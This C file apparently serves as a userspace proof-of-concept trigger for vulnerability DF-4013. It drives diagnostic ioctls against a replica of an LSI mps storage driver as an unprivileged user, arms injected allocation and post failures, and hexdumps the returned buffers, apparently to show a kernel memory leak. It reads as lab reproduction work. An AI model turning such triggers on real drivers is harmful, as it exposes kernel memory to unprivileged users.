DF-4013 / trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 | /* * DF-4013 userspace trigger — drives MPTIOCTL_DIAG_ACTION against the * dfdiag replica exactly the way LSI diagnostics tools drive /dev/mpsN. * * Sequence (all as operator uid=2): * register <type> <size> <uid> REGISTER * read <uid> <len> READ_BUFFER at offset 0 -> hexdump sample * unregister <uid> UNREGISTER * postfail arm next REGISTER's post to fail * allocfail arm next REGISTER's mem-alloc to fail */ #include <sys/types.h> #include <sys/ioccom.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> typedef struct mps_fw_diag_register { uint8_t ExtendedType; uint8_t BufferType; uint16_t ApplicationFlags; uint32_t DiagnosticFlags; uint32_t ProductSpecific[23]; uint32_t RequestedBufferSize; uint32_t UniqueId; } mps_fw_diag_register_t; typedef struct mps_fw_diag_unregister { uint32_t UniqueId; } mps_fw_diag_unregister_t; typedef struct mps_diag_read_buffer { uint8_t Status; uint8_t Reserved; uint16_t Flags; uint32_t StartingOffset; uint32_t BytesToRead; uint32_t UniqueId; uint64_t PtrDataBuffer; } mps_diag_read_buffer_t; typedef struct mps_diag_action { uint32_t Action; uint32_t Length; uint64_t PtrDiagAction; uint32_t ReturnCode; } mps_diag_action_t; #define MPTIOCTL_DIAG_ACTION _IOWR('I', 9, struct mps_diag_action) #define ACT_REGISTER 1 #define ACT_UNREGISTER 2 #define ACT_READ_BUFFER 4 static int fd; static int ioctl_action(mps_diag_action_t *da) { int rc = ioctl(fd, MPTIOCTL_DIAG_ACTION, da); if (rc) printf(" ioctl(Action=%u) rc=%d errno=%d ReturnCode=%#x\n", da->Action, rc, errno, da->ReturnCode); return (rc); } int main(int argc, char **argv) { mps_diag_action_t da; if (argc < 2) { printf("usage: %s register <type> <size> <uid> | read <uid>" " <len> | unregister <uid> | postfail | allocfail\n", argv[0]); return (1); } fd = open("/dev/dfdiag", O_RDONLY); if (fd < 0) { printf("open(/dev/dfdiag): %s (uid=%d)\n", strerror(errno), getuid()); return (2); } if (strcmp(argv[1], "register") == 0) { mps_fw_diag_register_t r; memset(&r, 0, sizeof(r)); r.BufferType = (uint8_t)strtoul(argv[2], NULL, 0); r.RequestedBufferSize = (uint32_t)strtoul(argv[3], NULL, 0); r.UniqueId = (uint32_t)strtoul(argv[4], NULL, 0); memset(&da, 0, sizeof(da)); da.Action = ACT_REGISTER; da.Length = sizeof(r); da.PtrDiagAction = (uint64_t)(uintptr_t)&r; if (ioctl_action(&da) == 0) printf("REGISTER type=%u size=%u uid=%#x rc-ok " "ReturnCode=%#x (uid=%d)\n", r.BufferType, r.RequestedBufferSize, r.UniqueId, da.ReturnCode, getuid()); } else if (strcmp(argv[1], "read") == 0) { mps_diag_read_buffer_t rb; static unsigned char buf[1 << 20]; uint32_t uid = (uint32_t)strtoul(argv[2], NULL, 0); uint32_t len = (uint32_t)strtoul(argv[3], NULL, 0); memset(&rb, 0, sizeof(rb)); rb.StartingOffset = 0; rb.BytesToRead = len; rb.UniqueId = uid; rb.PtrDataBuffer = (uint64_t)(uintptr_t)buf; memset(&da, 0, sizeof(da)); da.Action = ACT_READ_BUFFER; da.Length = len; /* gate: length >= BytesToRead */ da.PtrDiagAction = (uint64_t)(uintptr_t)&rb; if (ioctl_action(&da) == 0) { int nz = 0; for (uint32_t i = 0; i < len; i++) if (buf[i]) nz++; printf("READ uid=%#x len=%u ok ReturnCode=%#x: %u/%u " "nonzero bytes; sample (uid=%d):\n", uid, len, da.ReturnCode, nz, len, getuid()); for (uint32_t i = 0; i < len && i < 256; i += 32) { printf(" +%06x:", i); for (uint32_t j = 0; j < 32; j += 4) printf(" %02x%02x%02x%02x", buf[i+j], buf[i+j+1], buf[i+j+2], buf[i+j+3]); printf("\n"); } } } else if (strcmp(argv[1], "unregister") == 0) { mps_fw_diag_unregister_t u; memset(&u, 0, sizeof(u)); u.UniqueId = (uint32_t)strtoul(argv[2], NULL, 0); memset(&da, 0, sizeof(da)); da.Action = ACT_UNREGISTER; da.Length = sizeof(u); da.PtrDiagAction = (uint64_t)(uintptr_t)&u; if (ioctl_action(&da) == 0) printf("UNREGISTER uid=%#x ok ReturnCode=%#x " "(uid=%d)\n", u.UniqueId, da.ReturnCode, getuid()); } else if (strcmp(argv[1], "postfail") == 0 || strcmp(argv[1], "allocfail") == 0) { memset(&da, 0, sizeof(da)); da.Action = (strcmp(argv[1], "postfail") == 0) ? 0xF001 : 0xF002; if (ioctl_action(&da) == 0) printf("%s armed\n", argv[1]); } else { printf("unknown mode %s\n", argv[1]); return (1); } close(fd); return (0); } |